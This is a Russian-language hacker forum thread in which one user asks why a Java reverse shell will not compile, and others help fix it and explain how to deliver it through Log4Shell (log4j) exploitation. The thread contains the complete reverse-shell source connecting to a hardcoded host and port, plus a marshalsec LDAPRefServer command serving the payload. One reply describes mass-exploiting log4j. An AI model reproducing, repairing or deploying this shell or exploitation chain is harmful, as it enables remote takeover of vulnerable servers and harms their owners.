не компилиться JAVA

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by b3, 28 Jan 2023.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    есть такая ошибка
    Code:
    javac Exploit.java -source 8 -target 8
    warning: [options] bootstrap class path not set in conjunction with -source 8
    Exploit.java:5: error: class shell is public, should be declared in a file named shell.java
    public class shell {
           ^
    1 error
    1 warning
    
    есть такой код:
    Code:
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    
    public class shell {
        public static void main(String[] args) {
            String host = "10.10.120.188";
            int port = 4443;
            String cmd = "sh";
            try {
                Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
                Socket s = new Socket(host, port);
                InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
                OutputStream po = p.getOutputStream(), so = s.getOutputStream();
                while (!s.isClosed()) {
                    while (pi.available() > 0)
                        so.write(pi.read());
                    while (pe.available() > 0)
                        so.write(pe.read());
                    while (si.available() > 0)
                        po.write(si.read());
                    so.flush();
                    po.flush();
                    Thread.sleep(50);
                    try {
                        p.exitValue();
                        break;
                    } catch (Exception e) {}
                }
                p.destroy();
                s.close();
            } catch (Exception e) {}
        }
    }
    в чем проблема?) Подфиксите плиз)
     
  2. begin_end

    begin_end Green member

    Joined:
    4 Jan 2007
    Messages:
    265
    Likes Received:
    638
    Reputations:
    476
    Насколько я понимаю, если у нас класс публичный (public class shell), то название файла, где он находится (Exploit.java) должно быть такое же, как этого класса. Для дополнительных приватных классов это не обязательно.

    Или файл переименовать, или класс...
     
    _________________________
    alexzir, crlf and b3 like this.
  3. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Неожиданно) Еще такой вопросик, для полезной нагрузки мне нужно собрать класс, делаю я это javac Exploit.java -source 8 -target 8 на выходе получай файл Exploit.class и допустим генерю тот же самый бэк через метасплойт и на выходе имею .jar вопрос: в чем между ними разница? Я эксплуатирую log4j через LDAPrefServer https://github.com/mbechler/marshalsec :
    Code:
    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP:8000/#Exploit"
    когда указываю на класс, получаю бэк-конект а если на jar то нет. с java незнаком абсолютно и углублятся пока что нет желания но хотел бы разобраться пока что хотя бы с этим моментом.
     
  4. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Также далёк от Java кухни и вангую сами создатели уже не совсем понимают что там к чему :) На начале хайпа log4j, в исследовательских целях, эксплуатировал это дело массово. На сколько я понял, конкретно в этом случае, коннектор JNDI ожидает в ответ что-то, что может создать экземпляр класса. Это, как ты уже убедился, может быть скомпиленный класс или, что не совсем очевидно, сериализованная строка (иногда даёт пробив там где его нет). JAR же это типа эльфа или экзешника, для виртуально машины Java и, предполагаю, одной программе было бы накладно и не совсем логично, в своём контексте запускать другую для получения какого-то результата. А как там этим делом распоряжается метасплоит, одному ему известно, нужно курить сорцы, однозначно. Может он просто компилит исполняемую jar обёртку, которая запустит твою нагрузку с беком. Распакуй это файл unzip-ом и почекай, что внутри, скорее всего там будет лежать Exploit.class.
     
    b3 likes this.
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Неверное рассуждение. Таки оказывается можно и jar скормить, просто отвечать нужно правильно, вот тут расписано очень хорошо и коротко.

    .
     
    alexzir and b3 like this.